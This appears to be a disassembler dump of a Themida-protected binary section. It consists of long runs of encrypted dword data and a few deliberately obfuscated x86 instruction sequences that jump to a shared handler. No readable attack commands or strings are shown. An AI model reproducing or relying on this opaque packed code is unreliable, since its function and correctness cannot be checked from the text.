dd 60D167DDh, 0FA64A200h, 68D6105Eh, 1F5A390h, 0E8DBEA55h
dd 8726B50Eh, 19BF124h, 0C79DAB83h, 8DF4534Ah, 0D090DF64h
dd 2C04F942h, 0CE78BEF9h, 486089D3h, 4EB24DEh, 29A102CAh
dd 5D5E9h, 0EAAE2800h, 5D599DECh, 8408F0B1h, 0EEAC2B1Eh
dd 565C81E0h, 4B543348h, 0A3860C92h, 1D6C6A38h, 7237D3DFh
dd 0DB9B0785h, 0CA4C0DAAh, 9885F9F1h, 23696E52h, 5B1CBD3Ch
dd 51FC18B9h, 67BE7ABh, 3EBFCED2h, 125DF8C1h, 4A3FDBE9h
dd 0B5FC0F8Dh, 20B907F2h, 4FF2B821h, 80B9DBDAh, 9D2832Dh
dd 0AEB62362h, 1EF7D99Ah, 0A82C13B4h, 0D39599ECh, 246297E3h
dd 8711CBBEh, 0F4124F53h, 207B47B5h, 1859FE61h, 0C9FC186Bh
dd 0C7CB0F72h, 0AB9637A4h, 6AFF6230h, 4F830680h, 84AF3867h
dd 891C9A5Dh, 0FD089446h, 105E5610h, 1744A7E5h, 6E4600DAh
dd 0C8D6DA00h, 0E33A8079h, 1833E886h, 7F77F1FCh, 49DD508h
dd 8D7A3Ah, 6E4C0000h, 7FD82369h, 0FC18B9C0h, 129561E7h
dd 3A0413BFh, 0E3A72F6Eh, 58A5398h, 8, 9519C382h, 6E4C576h
dd 3F22666Eh, 0B95A1BBCh, 3790FC18h, 0FC18B906h, 8DFA60DFh
dd 26AE113Ch, 99C67EBEh, 2E91011Ah, 0B7AAE7ADh, 9BA29334h
dd 473FC18h, 1B8A3413h, 0BB0C7A8Bh, 0E0A65190h, 189E5A85h
dd 0E4FDEE2h, 0D00B4AD1h, 0C038BBC2h, 9460EAFCh, 887C3E2Ch
dd 0D0FEBA3Ah, 3FE6891h, 734810B2h, 0E1E66217h, 1C4974E2h
dd 6E3D3BA7h, 5DC4276Dh, 0E05857CCh, 779F8BE0h, 0C31F38A3h
dd 0F47B4CC9h, 2858400h, 1893B4A5h, 0B5166DFCh, 36B027AEh
dd 0DC5BDB30h, 1B62DF3Fh, 5F9723D8h, 5E8BC05Bh, 4A5684CFh
dd 2620BA33h, 2284EA4Eh, 0A9F7E452h, 0BC1D9C2Dh, 0FC180ABBh
dd 3695C16Ah, 0E4A52BA6h, 0A6531EAFh, 8F3F983Ch, 66D37D30h
dd 5F8B1C07h, 168E466h, 993F3099h, 99D6FC18h, 0BEFCFD2Ch
dd 92DDEE6Fh, 0A1C35A66h, 15D84F27h, 0B83A0431h, 9385E42Fh
dd 0B93DA364h, 0FA2780FDh, 0B1h, 0ED6D6ECCh, 18B90B4Ch
dd 306DDAFCh, 226E6AD5h, 25115BDBh, 659424D9h, 0A9EFE85Fh
dd 26AC1952h, 0F1149A43h, 1E01874Eh, 0A02A9F89h, 0C11A0C35h
dd 981B1ABAh, 189E3E3Fh, 0EA6BCCFCh, 3BFC189Eh, 5069C64Ch
dd 46EB1E16h, 853A0438h, 7Fh, 35268302h, 0ECFC1894h, 0AB848697h
dd 4BD968AFh, 6D6EB472h, 1A5DC427h, 6C6FD2DEh, 20DA8526h
dd 13C6099Ch, 92377E8Dh, 0FC18B9A1h, 17C43B70h, 66C07289h
dd 0F1B7208Eh, 4A3A2C84h, 5B1CBD3Ch, 51FC18B9h, 519AE1A5h
dd 0E26D7E35h, 35B4ABF9h, 18B9A394h, 140572FCh, 0E747D310h
dd 5B4F98E1h, 22666E9Dh, 0B9C07EDBh, 0A8D9FC18h, 5FAEF4E9h
dd 0B185CD1Eh, 413A37Eh, 1083Ah, 6E320000h, 0E2AE2C6Ah
dd 86E5529Bh, 0E1169A5Fh, 0B987C811h, 0E15EFC18h, 0ECEE51B4h
dd 0EF3E6BA0h, 16D5903h, 0F46A09D9h, 105893DDh, 173C3FDBh
dd 0A8D0C33h, 83FAD89Dh, 7FC8DA1Fh, 0FC18A0FEh, 7A810FCCh
dd 0CD1E55F1h, 0FAD4C264h, 8D4C3D01h, 30B3CA07h, 64C5C1C7h
dd 0A5323573h, 1B815666h, 0ACAD0A4Fh, 65F9FA6Bh, 6B6ED10Eh
dd 90F98425h, 0F9FA6BE1h, 86B480C6h, 728915C7h, 7861E0F9h
dd 6B1E5FF8h, 7837F9FAh, 35A28703h, 2A6D1477h, 93DEEFADh
dd 9AC52066h, 19A5575Bh, 0E31659ACh, 0B2344EDDh, 79387EC2h
dd 558226E0h, 0A13AE56Dh, 7861CDB9h, 33EE9432h, 983FE61Fh
dd 149h, 577B18A2h, 0DF3B77D0h, 0E55201FAh, 1C9A5F86h
dd 4046B3F6h, 753DBA25h, 0C3C70F81h, 89C633B8h, 8E66C072h
dd 60E577E0h, 981CD3A2h, 0EE6FB4B4h, 48FFA258h, 0FAF86EEFh
dd 0FFC8A7F9h, 85018770h, 0E654429Fh, 47E93Fh, 18DD0000h
dd 93D25579h, 401EFC66h, 0F8E10B05h, 3F97883h, 0DB1F42BFh
dd 2E8BF6D7h, 0FC18FBFDh, 28E4C0Fh, 0F7166DB9h, 18FBA9AAh
dd 1F5EC1FCh, 7B4D7DBh, 0CC8BCA6h, 993E2105h, 0FC18FB08h
dd 85C4C2B9h, 0B9h, 8B7B18B9h, 6B48BCF3h, 1B170038h, 0E2C028C4h
dd 0A0232693h, 43B8F8E1h, 70AD2E7Dh, 926C0E57h, 0C8A701FAh
dd 0D673F2BDh, 0F9FAE065h, 7BE6C7BCh, 9009387Eh, 0FE91F7C2h
dd 0F47F5189h, 0A8C20B0Ch, 63868425h, 0F21647E0h, 70CFF9FAh
dd 0A9EFE857h, 6590D352h, 3697C427h, 0FAF157EDh, 6A5A0CF9h
dd 52609DDCh, 363982CBh, 1CDFFBC1h, 0D7A15977h, 0FAF5C172h
dd 0EE5B10F9h, 0D1298EB1h, 3007E060h, 5485C47Bh, 67EE7556h
dd 9D13472h, 0D07D774Fh, 92EC4DFCh, 0E609C993h, 746533A7h
dd 2966D736h, 0B52699D2h, 8E5F9CEFh, 0BD3C2318h, 0AD8B5B1Ch
dd 0E2A851EDh, 0E8BE0F64h, 9D7B18E2h, 18B93B3Ch, 209DEAFCh
dd 2C2E9821h, 0EA410202h, 0E1A75093h, 555384E5h, 0CD0C4F36h
dd 69DE6C7h, 742D8847h, 41DED880h, 9472EF8Dh, 5685CC5Fh
dd 6BD53D48h, 0A021259Bh, 0F5249637h, 7B4C6977h, 347703F3h
dd 34A1C4C0h, 6D2BAC93h, 0D1D70061h, 0CECC0B4Ah, 1DE953BFh
dd 646228D1h, 0B7D6D405h, 0CECh, 863CAD00h, 51999D75h
dd 0A7F9CD1Eh, 2C686E9Dh, 5B6196D9h, 575B81C0h, 404E8D34h
dd 7341BA25h, 6E34A928h, 9B21D41Fh, 9519C100h, 8307CF76h
dd 0C968F278h, 89000012h, 0DD68240Ch, 89000032h, 0A1682404h
dd 89000030h, 0BE56241Ch, 4C9D02D4h, 3A9E681h, 0E6D1210Bh
dd 7646B850h, 0C63105FBh, 5EF08958h, 45C668h, 24248900h
dd 4240483h, 4EC815Bh, 89000000h, 438F2404h, 241C8B08h
dd 81E38953h, 4C3h, 4C38300h, 5C241C87h, 5124048Bh, 0C181E189h
dd 4, 4C181h, 0C870000h, 0FCE95C24h, 6CFFF906h, 9FB8C72Dh
dd 305E978h, 51E0FFC5h, 0FC7CF2B1h, 4798770h, 122B5A9h
dd 0D602D7C4h, 0AF30EF4Ah, 0A70CDB54h, 0BB3AF941h, 3B6E8F75h
dd 0BE00FBB1h, 4A1FF7B4h, 0F45ED0F9h, 0FA700123h, 4E6C1D6Fh
dd 0E5CDCA9h, 3653F6Dh, 996195A0h, 7E58EFFBh, 2174CD1Ah
dd 7C24D7D2h, 85680280h, 495805A8h, 0F95F66E1h, 7104E38Dh
dd 6440D7F5h, 8366B288h, 5C7DF166h, 184DE8BEh, 8D2229D5h
dd 0E97A518Dh, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 0BBFB2023h, 3529052Fh
dd 0E860EE95h, 6
dword_56567C dd 0B069FEB3h, 9D895789h, 5E21775h, 7DBD895Fh, 6105E232h
; DATA XREF: Themida_:004F0F34o
dd 0BE98D89h, 8C0F05E2h, 26h, 9E8h, 0DA318F00h, 6B301D95h
dd 12E92403h, 14000000h, 0B5D41F8Eh, 90142F24h, 0B60BF8BFh
dd 1FF5F955h, 85C75835h, 5E20761h, 71A0h, 92E7D381h, 85C71DEDh
dd 5E21B55h, 0
dd 23E08160h, 0F5711BA6h, 8C0F61h, 0FF000000h, 0E21CD1B5h
dd 5EF95105h, 0B1595FFh, 8B6605E2h, 0B8BE66D3h, 0FF006A8Fh
dd 0E20AB995h, 0EBC08B05h, 0A30A5F4Ch, 468D6EF7h, 5A64023Ah
dd 4527D09Bh, 786D5479h, 0B5A3D097h, 4EA17E19h, 74BFBC0Bh
dd 5716BF8Eh, 5E7D54C9h, 7C7AFB31h, 0D9B1ADB4h, 0D9D0EDC5h
dd 9962B7D6h, 0F5244BBFh, 47220A5Ch, 85110F9Bh, 0A0CEA78Ch
dd 5612FD0Eh, 0AE82Bh, 8FA00000h, 0ED6E177Dh, 47E12E6Bh
dd 58FE8B66h, 8CDB533h, 0C08105E2h, 64ADh, 68F0Fh, 0B5890000h
dd 5E22D45h, 2137DBBh, 77F38137h, 6637020Ah, 30FFD68Bh
dd 8B5975B6h, 0E2149595h, 6CE98105h, 0E935EBB4h, 6, 7460457Ch
dd 0E9817109h, 22A7DD20h, 73EAE981h, 0BD8B330Ah, 5E22C6Dh
dd 0D68B0889h, 379AE881h, 0B53309B4h, 5E22411h, 3796C081h
dd 5E5609B4h, 0F01EB83h, 0FFFFB185h, 659D89FFh, 0EB05E21Ah
dd 578E1704h, 575E969h, 0A3550000h, 4E86FBE7h, 0FDFD4C4Ah
dd 0A15415B1h, 518AFF1Bh, 49284743h, 9D398774h, 7B672DACh
dd 0C2C8D406h, 963C7A7Fh, 41F257AEh, 90F9F1C2h, 696E29EDh
dd 0DAAB3C23h, 0ABE6A1BDh, 0B9218DFh, 293495C2h, 636F35A6h
dd 48D3D91Eh, 0B3CAD009h, 0BCAC430h, 4AFD7E8Dh, 188E6CEDh
dd 91CEA5FCh, 830FCB0Ah, 0BD01F978h, 9262246Eh, 867E382Eh
dd 0DDF9BF38h, 0A53C3BACh, 0A573F2E3h, 139F5D04h, 0C33372F7h
dd 7605F11Bh, 114E8E75h, 4F5389C8h, 7FF059D8h, 96FC181Ch
dd 0FA6500D9h, 198EB1FFh, 3E4633A5h, 914B59Eh, 63CFA7A1h
dd 0B3323579h, 18FA2516h, 1142E7FCh, 0C0FC18FAh, 3790EF6Bh
dd 0A3E9EE53h, 0FA43FF58h, 0EE58FC18h, 563E9316h, 51ED3A04h
dd 0D1000000h, 68FF696Eh, 0F95F37FFh, 6FCBCC2Ch, 2B6A1EEh
dd 56E9B6D5h, 4DFC1892h, 29E42B1Bh, 863A043Eh, 1, 28666EB8h
dd 8DBCE9AFh, 39E1221Ch, 0D55177CEh, 0F9315A4Fh, 5EE5C6F0h
dd 40DBDF17h, 0B5D0D601h, 4BB78FC9h, 0BE830F8Bh, 69577339h
dd 0C98A2FAEh, 3FC18B9h, 18B9B5A6h, 0B176CFCh, 810DCD3Ch
dd 69E8F17Ah, 94DF2E74h, 62252460h, 88933478h, 0FF0E9449h
dd 0EC3F8574h, 0FFBD386Fh, 0D0A4E6ACh, 0D4A00A68h, 410D31A6h
dd 7CFC930Eh, 63F7E46Bh, 185C95C6h, 41F257FCh, 90FC185Ch
dd 8BC0BFDBh, 9E1D0394h, 0EE361D12h, 6D7E3CBBh, 890FC8B9h
dd 2D420196h, 5F038875h, 7C7CE78Eh, 6F6AD530h, 5B9BDA21h
dd 67E7CC5Fh, 91D7298Fh, 41BF62A5h, 7A0C3A04h, 36000000h
dd 20276D6Eh, 0E8449BB7h, 41BA3B1Bh, 9EA50673h, 681FA357h
dd 0DCEDB129h, 0BB8BCDB1h, 9A008E4Fh, 766236A7h, 2D9AD32Ah
dd 5A6097DEh, 565A80C3h, 424E8C37h, 45317B3Bh, 0CDD02E2Fh
dd 572C595h, 0E59165E3h, 786139A2h, 3562EB32h, 3F4B9694h
dd 4C803A04h, 1000000h, 5413F388h, 3A8300F8h, 276D6E4Ch
dd 535F9DC4h, 8E66E0C8h, 9A3FBB20h, 0FC18B9D9h, 0D8C63308h
dd 22666E12h, 0B9C07EDBh, 9F0FC18h, 0FBE160BBh, 6C2E54B7h
dd 59C82098h, 4CDFE516h, 0C0B4BE0Fh, 4139449h, 13B3Ah
dd 6E0F0000h, 6023266Ah, 67D43775h, 43B43F46h, 9ED82645h
dd 1CA058A6h, 26E673F6h, 0D359C10Eh, 0BECDCB0Ch, 0EE7C03Dh
dd 7B3A2D01h, 63E8337Fh, 0F072D75Ah, 2301FAEDh, 5944D554h
dd 0F263C469h, 23F9FAC3h, 58CFC354h, 237A46B2h, 6DCA7DAAh
dd 0F9FA21ECh, 0D67D4E25h, 0A62C6A6Fh, 5E9A16C3h, 0EF48CB52h
dd 0F9FA216Eh, 2693C8A7h, 5607A023h, 8FF9FA21h, 50C17B0h
dd 0D4CA9242h, 8F1F77B4h, 0AB207BB0h, 2BB6C912h, 7BEDF9FAh
dd 0FCBA3F8Bh, 0BCF0A4Dh, 0FA2BADAEh, 0D20F64F9h, 0AB2C1D09h
dd 0E4ED7AEDh, 1B439FBFh, 1150FBCCh, 2B5BA2E8h, 0C689B581h
dd 0E318A0Eh, 1D5CC3C9h, 80B116DAh, 51F9FAB1h, 0E1CAD1Ah
dd 0E61BCD00h, 11C623Fh, 6AFF0000h, 70A7C0E4h, 0AC9A2303h
dd 0E71B39AEh, 4BC4B00Ch, 0B094B972h, 0C2DA28B1h, 463D01FAh
dd 7D3BBC27h, 0A1E71051h, 0F54EDB5Ah, 5B6194E0h, 6299D932h
dd 0DBE11659h, 0BC883240h, 8703894Eh, 2877F562h, 0FF0E9246h
dd 50DDD7Eh, 9D90818Ah, 4488D3A3h, 6C0AC763h, 44A13FE6h
dd 85000000h, 0D2557918h, 18B91475h, 97F64DFCh, 612DADECh
dd 6C6ED11Ah, 3790C520h, 18B96DEEh, 0DB9A1DFCh, 0C80D981Eh
dd 457F77FFh, 8C7936DAh, 78119740h, 13486793h, 35ACB6Ch
dd 0BC8BFC18h, 7CB316h, 18CB0000h, 51D0577Bh, 817FE9EEh
dd 0A5939E6Eh, 0CB44A71Ch, 27518DEAh, 2EBFF456h, 0FA19B5C5h
dd 10176C01h, 5D074891h, 61DEF9FAh, 6C971BE8h, 20B9AA1Eh
dd 951DDA05h, 8AC35A68h, 7F0B15Dh, 671D7A81h, 3CF9FA33h
dd 0BCC3A0Ah, 0C956018Dh, 7AC562E5h, 9307E0BEh, 0D91E41A4h
dd 0EFEDACD3h, 0CA1358A3h, 4DDA47A3h, 2985C9BAh, 450DDE2Bh
dd 0FAEE7371h, 3C9FE247h, 0B9F609CEh, 7B18571Dh, 0B93B3C9Dh
dd 9DEAFC18h, 39982120h, 5C020234h, 9C5D84E7h, 0A2A5E314h
dd 0F1C25405h, 79B68DF9h, 0ADEBEC5Dh, 0BD01FBBAh, 0B1DCED6Eh
dd 3FB325E8h, 6A38A36Dh, 6127D013h, 764EE81Ah, 0AD85B2DEh
dd 40BD4F16h, 9DDC5FC2h, 4C0D5E5Ch, 858EBF6Bh, 61551DAEh
dd 38A6E415h, 170A9049h, 0C019A754h, 0FDBB3AA5h, 2E0640AEh
dd 759117C0h, 4644B5F4h, 2A15B627h, 0EF78EFADh, 259B5DDCh
dd 0BEC5E666h, 3D7h, 9DA7EF00h, 0D92C686Eh, 0C05B6196h
dd 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h, 9B21D4h
dd 769519C1h, 788307CFh, 25CF68F2h, 14890000h, 63786824h
dd 2C890000h, 4DC96824h, 34890000h, 4BBF5724h, 0BD57CB6Fh
dd 5DB4EA86h, 3C8BFD29h, 4C48324h, 24348B54h, 4C481h, 0E9680000h
dd 8900006Fh, 8B82404h, 1000000h, 582889F0h, 5324348Bh
dd 0C381E389h, 4, 4C381h, 1C870000h, 2C8B5C24h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_4F5CCB
; ---------------------------------------------------------------------------
db 37h, 10h, 0C9h
dd 450E386Fh, 0E6D034AAh, 0B8292001h, 5E9802Ah, 0E0FFC503h
dd 2D0135F5h, 3666B34Bh, 0B5A605Ah, 4CEADFD8h, 48189051h
dd 0D1EAD21h, 81B58D8Dh, 6A05E9h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1C0424h, 57470000h, 790131C3h, 0B634C0C8h
dd 0B58B1928h, 5E21B31h, 0BE98D89h, 8B6605E2h, 6DB58BF3h
dd 0C705E20Bh, 0E2076185h, 5F9405h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 89E6C86Fh
dd 0CE1D73FDh, 4890Fh, 0BE660000h, 9D8B0120h, 5E21739h
dd 1B5585C7h, 5E2h, 8D290000h, 5E216FDh, 2361B5FFh, 6A05E2h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 0FFFF77C3h, 0E20B1595h, 51006A05h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 8BB39CF3h
dd 8BC082F0h, 0E2245D95h, 0FF006A05h, 0E20AB995h, 0EBC08B05h
dd 0EDCC9228h, 0A3F3071h, 0C00A6A83h, 0F5BFC366h, 0F651A705h
dd 0E742FEEAh, 50E7FF7Dh, 0D97430A0h, 532A43A2h, 0B6C2D9D4h
dd 9D04EB7Eh, 0E93A62D4h, 513h, 0B5515583h, 1E8400F4h
dd 0E7E3AF2Bh, 49555382h, 11BD03F8h, 39A2FB9Ah, 0DF1A6F6Bh
dd 867435D1h, 2CAD9C3Ah, 57C606Eh, 0F138B3A4h, 0FB2362F9h
dd 0ACEAEFAEh, 0E5A3541Bh, 1546E362h, 0CCFC18B9h, 84CF5677h
dd 3C4D4957h, 0E8337F7Dh, 0E2175A63h, 8584A678h, 3A778100h
dd 317760E3h, 2F6B6BEAh, 90D356DCh, 0DA84256Bh, 0C6CB5CEAh
dd 23A6FDD3h, 24D59C2Dh, 0D3097866h, 0E11958CFh, 0BC0D4EDDh
dd 5D619BEEh, 4E5487CEh, 39AED33Fh, 3D2C877Bh, 99C11A80h
dd 179B41ADh, 7B41B68Bh, 0D90245C4h, 223BB0CBh, 0FC18CA31h
dd 77F841E0h, 0AEFC18CAh, 384364D1h, 18CA235Fh, 0B68E38FCh
dd 4869E73h, 5B0D3Ah, 6E310000h, 7FD82369h, 0FC18B9C0h
dd 129561E7h, 3A0413BFh, 16Ch, 666E5600h, 6CEDB328h, 3AADC4D6h
dd 59AC1943h, 0A7DADE16h, 0E6E09B32h, 18FA1041h, 0E16AC1FCh
dd 20B90812h, 571BDA05h, 186241F2h, 6EDB90FCh, 6155171Fh
dd 39A5E115h, 66C38F48h, 0FC1862F5h, 0FC1A572Ch, 276D6EF6h
dd 0FCFEA120h, 47E055B0h, 0FC18B916h, 0CC5770CFh, 3A9F5185h
dd 0FC18B939h, 0C72693E8h, 0CD390DAFh, 25048210h, 0B7FDFCB4h
dd 38A0237Ah, 27307C7Eh, 35F75478h, 4AD10EADh, 0AAD8AC2Ah
dd 5EADF1EBh, 73BECC1Dh, 0DA3A0445h, 0DDE3185Bh, 1887CB8Ch
dd 3A2D1AFCh, 1887DC9Dh, 0AD3E75FCh, 6D60h, 6D6E5A00h
dd 5D9DC427h, 0E48CA51h, 8E490836h, 6F78FD08h, 29B5FBE0h
dd 0DDC1A358h, 536E5EF8h, 0E2ADF835h, 167539A3h, 9A5D04A5h
dd 0AB2A6D1Ch, 2FB1DCEDh, 87AADDA9h, 0C43A04A1h, 57h, 0ED6D6EFEh
dd 18B90B4Ch, 3A6DDAFCh, 9E81FEBAh, 5B44209h, 8C5DD2A6h
dd 307C7EE1h, 714503D5h, 57CAD805h, 0FB08B8C2h, 0E7C02407h
dd 666E2523h, 0C07EDB22h, 0D9FC18B9h, 7EEB976Fh, 0D326ABF9h
dd 0CF7B4C23h, 3A04D112h, 0AB9h, 91A13600h, 0C695E2D6h
dd 6EC1A506h, 0A023266Ah, 18B95607h, 0A7B08FFCh, 1BE07C83h
dd 1C2780EAh, 76624D5h, 0D0E176BBh, 0BE7DA334h, 0E1D59D2Eh
dd 10E61255h, 18DC86B7h, 0ABE05FFCh, 2A21C750h, 0C6B91D0Eh
dd 0C9313089h, 66C342C5h, 0FC18D3F5h, 9076572Ch, 0FB5CBAA7h
dd 0FC18D37Ah, 0E067DCABh, 0F3B93E61h, 319A23A8h, 1FAA731h
dd 0D5948BE0h, 3A419A28h, 52783EBBh, 0BDACEAEFh, 93296C2Ch
dd 0EFF89C2Fh, 0EC44FB44h, 2D1BF9FAh, 0AEECED59h, 16DE8120h
dd 0F9C20B92h, 0CB318176h, 14978AC7h, 0FAEC82B3h, 0C3E453F9h
dd 0FAC039B8h, 0DDA913A3h, 0A4226891h, 0E66823FEh, 0AE0B8A3Fh
dd 0F9FAE0ADh, 71BE0F64h, 10Fh, 577B1875h, 276B91D0h, 7BFC5DC4h
dd 0AAFC18B9h, 0D84760DDh, 0FADF037Fh, 8E1D6A01h, 8E149247h
dd 85723EBBh, 3A77E407h, 317760E3h, 261E58EAh, 7D991FD8h
dd 0E639DA37h, 44713Fh, 18750000h, 45D25579h, 4C1BB610h
dd 0FF58CF07h, 0FC18957Eh, 800FD897h, 1895E627h, 0C5201FFCh
dd 1895FB7Ch, 0DBAB93FCh, 0D3567619h, 18951576h, 0E51457FCh
dd 0A3980EDFh, 18C38227h, 0E1FA738Ah, 8E9Eh, 7B18A400h
dd 8E1D995Dh, 0C811104Dh, 1FAD2A6h, 0EE6FC879h, 27F9FAA0h
dd 49881348h, 0BD8C0A90h, 7BE4A23Ch, 489BB797h, 95AF8813h
dd 0CAF9FAF2h, 412FCE5Bh, 1B99800Ch, 547533A4h, 2BAC1AEAh
dd 0D2297567h, 0BA3D2C99h, 0FAF15C1Dh, 2DBEF5F9h, 0FDD17E79h
dd 734CED4Ah, 324507E0h, 4AC8CE7h, 136AA72Ah, 1A6127D0h
dd 0C63275BCh, 0F72AA3FAh, 252DBE04h, 0DA8E9351h, 8C7102A7h
dd 0C1A009C9h, 7AFB5C1Ch, 0ABEDAD80h, 0D70467DCh, 18767C9Ah
dd 77D0577Bh, 2023BE6h, 28766524h, 0DB4F98DDh, 21D6196Ch
dd 0CD0A7F9Bh, 589C14C5h, 5784E75Ch, 29A6831Ah, 0D83E4D8Eh
dd 9F58A69Eh, 0DB4CFD19h, 8252D80Dh, 0B1B0095Dh, 783B4248h
dd 0E1FAC039h, 0EA31777Eh, 0DD286E6Bh, 0B043F744h, 0C504F437h
dd 55598117h, 3D2B8D18h, 0BDF9FD49h, 16B0ED6Eh, 6B2A582Ch
dd 9EDF2E6Ch, 0D7D5024Dh, 3B8176CBh, 1581E0h, 0AEA50000h
dd 0B9C98A2Fh, 2318FC18h, 0B9DA9B3Ch, 3C0BFC18h, 6E476DABh
dd 96D92C68h, 81C05B61h, 8D34575Bh, 0BA25404Eh, 0A9287341h
dd 0D41F6E34h, 0C1009B21h, 0CF769519h, 0F2788307h, 50E18951h
dd 4B8h, 58C10100h, 8704E983h, 685C240Ch, 3ED4h
db 89h, 4, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push ebp
mov ebp, 38C660D8h
mov eax, 3EAFE2C5h
sub eax, ebp
mov ebp, [esp]
add esp, 4
push esp
mov edi, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
pop dword ptr [edi+8]
push dword ptr [esp]
pop edi
add esp, 4
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_4F5CCB
; ---------------------------------------------------------------------------
db 84h, 0C7h, 4Bh
dd 3D78630Ch, 436134E1h, 0B8630B73h, 5E98685h, 0E0FFC503h
dd 0FF8F247h, 7101832Dh, 0B5BA000h, 0F2F1029h, 1ED5EEFAh
dd 6AE7C621h, 1485DC20h, 19961089h, 31085367h, 284BD3DDh
dd 29CE74C4h, 26031015h, 6753CE96h, 441304EBh, 5BE959B7h
dd 26000005h, 9BEEF4B0h, 0CEB35F5Bh, 2918860Ah, 9FE2E8AEh
dd 3D4A505Eh, 0E944956h, 743AA180h, 0DDE11B6Eh, 1877031h
dd 0FA8D985h, 0F9F13E4Eh, 6E5C9E87h, 59D82369h, 0B9C071D6h
dd 0DCAFC18h, 53FF7C8Fh, 5F9CC3E4h, 0B93D3E9Bh, 9FD4FC18h
dd 4205A422h, 0B1B00997h, 0B83B4248h, 6322793Fh, 0B91647E0h
dd 70CFFC18h, 0A8ECE857h, 9F97D15Dh, 86B71093h, 44FC18B9h
dd 18B972E3h, 4ED4A3FCh, 7069E8F1h, 13B4372Ah, 0FC18B922h
dd 672384F3h, 75E643C2h, 0ACFC18B9h, 914BF6D7h, 3AA0810Dh
dd 9F66F376h, 32F9CC1Dh, 0E8AE2B9Eh, 0CE0DB4DFh, 0D91E41C0h
dd 0BA0348D3h, 390D3793h, 7830FCDh, 94F7B522h, 6F2DAAEDh
dd 4779F55Eh, 0E462FC18h, 11449910h, 70E93A05h, 23FAA799h
dd 2FB3A469h, 0F5BC6453h, 73D15E6Fh, 15000000h, 0D823696Eh
dd 18B9C07Fh, 8F0BCEFCh, 0B23B4248h, 3ABF2645h, 2365297Ch
dd 5593ED53h, 2144D561h, 0F18D0A1Eh, 0F4295D6Eh, 5B3A0453h
dd 1, 22666E6Fh, 3D7B7C3Fh, 68EC6DEEh, 908C1F0Eh, 0E4AFB617h
dd 0D893C465h, 0FF42FC18h, 6546B3F7h, 6FBEFAFAh, 3A25B324h
dd 130A426Ah, 1647A6E4h, 964100D9h, 0CF89F510h, 4F4B8BF7h
dd 0B3F9FE43h, 6D6E2917h, 599DC427h, 0E0BD2A5Dh, 8294BB5Dh
dd 0A976928Bh, 4CB93F22h, 0DFA2D07Bh, 0CA515F9Ch, 463E3881h
dd 5F10B938h, 0F6FC185Dh, 0BC2120B9h, 6099E8F6h, 0C140C35Ah
dd 0F7505C9Eh, 0FC185D46h, 5807A09Fh, 67891CA0h, 4F9215E1h
dd 0FC3A04F5h, 0A1h, 2ADEEC7Dh, 28647BA5h, 39AEAB9Fh, 5239C066h
dd 0B1B00983h, 7C27464Ch, 7F300EBh, 0C0195266h, 3A9F5981h
dd 0FC182839h, 5EC4CA33h, 2D51B4E1h, 0AE2F9B6Bh, 2D716B2Ah
dd 18285B1Ch, 40BD8AFCh, 0A8F6E75Ah, 0A5E3125Dh, 0CCB83E46h
dd 4A29845h, 6C373Ah, 31B00000h, 1822A7A8h, 0B8017EFCh
dd 276D6EC2h, 367C6120h, 2C90BAD7h, 0A4095393h, 8C375E6Fh
dd 4ADF424Eh, 1D8BC8B8h, 46EDFE04h, 4AD1DD1Fh, 0BECDD10Bh
dd 6ED2A204h, 0F750D352h, 0FC186646h, 7C61A09Fh, 0D9AD9536h
dd 0A422706Dh, 22666EBEh, 5A1BBC3Fh, 8BFC18B9h, 27002BBCh
dd 0FC18B90Bh, 0ABDED610h, 3A041376h, 1D5h, 6A6EE900h
dd 5B9CC726h, 0A1E0CE5Dh, 4540C628h, 2907DA2Ch, 0EAB1DA01h
dd 2777AD3Ah, 5CB9AF80h, 0A89CC6E7h, 981EDB9Ah, 70FFC80Dh
dd 82050488h, 0C3B5A603h, 176CFC18h, 18C30536h, 4667DCFCh
dd 0A68A9740h, 0B76406A3h, 0A09F01FAh, 0DFDD1A45h, 3894E33h
dd 3E008B1Ch, 7DF58247h, 0C978C16Ch, 9EF9FA55h, 696EDCA8h
dd 15C2A723h, 2E119097h, 5586E5ABh, 0FA5543F4h, 4A592F9h
dd 0B101F679h, 0B13A4145h, 3ABE2144h, 2FAC1776h, 0B4B21A61h
dd 0B03A78C0h, 3B8176C4h, 0FF3C919Fh, 29933FE6h, 0D7000001h
dd 0D0577B18h, 0B9470851h, 0A19EFC18h, 97169918h, 0C29B21D4h
dd 0FC18B991h, 89D2EB40h, 1FADF35h, 5D84E75Ch, 0B1F01E9Ch
dd 9CDF4248h, 8DCE5D5Bh, 29AE113Ch, 40EA1863h, 0CBD10674h
dd 0B191C354h, 0DD68E6A6h, 0BD101E0Ch, 103FE69Bh, 3D074891h
dd 61DEF9FAh, 42DB58h, 0AEEF0000h, 45A0EEEFh, 4AD1DF1Ah
dd 3AF3D401h, 97303717h, 0FC18B976h, 0ECB5D0AFh, 0FC18B86Bh
dd 0BF3A7661h, 0FE6184F1h, 0DE54B7FDh, 7350A89Ch, 56F9FBCBh
dd 3556F376h, 6CFC18B8h, 8D568B17h, 6C000000h, 0D0577B18h
dd 0FAD2E777h, 3A413E01h, 1E5FF87Bh, 37F9FAA0h, 0E33A8672h
dd 0A5AC3D6Ah, 19687634h, 86B710E0h, 5FF9FAA0h, 0F750ABE0h
dd 0F9FAA37Dh, 0CF08904Bh, 0C6099CC9h, 347E8D13h, 0A23E8272h
dd 7562D0A4h, 5716AB37h, 0E8C11AA0h, 67C0476Bh, 7E05A0Dh
dd 0B1F00B60h, 0BDEFAE18h, 35966AD1h, 0BCCFCD0Ah, 9F3C535h
dd 0B8F56685h, 0B5F3E26Dh, 0F6CE8856h, 463E3882h, 7F71818Eh
dd 34C69014h, 0CC6D1C49h, 9C9AF70h, 3C3AA09Fh, 0D0577B18h
